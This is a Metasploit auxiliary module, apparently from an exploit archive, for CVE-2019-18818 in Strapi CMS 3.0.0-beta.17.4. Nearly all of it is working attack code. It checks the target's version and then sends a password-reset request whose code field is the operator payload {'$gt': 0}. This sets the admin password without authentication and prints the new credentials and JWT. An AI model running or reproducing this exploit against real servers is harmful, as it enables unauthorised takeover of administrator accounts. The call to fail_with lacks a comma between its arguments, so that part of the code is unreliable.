This Metasploit module exploits the mishandling of a password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)",
'Description' => %q{
This exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.
},
'License' => MSF_LICENSE,
'Author' => [ 'WackyH4cker' ],
'References' =>
[
[ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]
],
'Platform' => 'linux',
'Targets' => [
[ 'Strapi 3.0.0-beta-17.4', {} ]
],
'Payload' => '',
'Privileged' => true,
'DisclosureDate' => "",
'DefaultOptions' =>
{
'SSL' => 'False',
'RPORT' => 80,
},
'DefaultTarget' => 0
))
register_options [
OptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])
]
end
def check
res = send_request_raw({ 'uri' => '/admin/init' })
version = JSON.parse(res.body)
if version["data"]["strapiVersion"] == '3.0.0-beta.17.4'
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def run
json_body = { 'code' => {'$gt' => 0},
'password' => datastore['NEW_PASSWORD'],
'passwordConfirmation' => datastore['NEW_PASSWORD'] }
res = send_request_cgi({
'method' => 'POST',
'uri' => '/admin/auth/reset-password',
'ctype' => 'application/json',
'data' => JSON.generate(json_body)
})
print_status("Changing password...")
json_format = JSON.parse(res.body)
jwt = json_format['jwt']
if res.code == 200
print_good("Password changed successfully!")
print_good("USER: admin")
print_good("PASSWORD: #{datastore['NEW_PASSWORD']}")
print_good("JWT: #{jwt}")
else
fail_with(Failure::NoAccess"Could not change admin user password")
end
end
end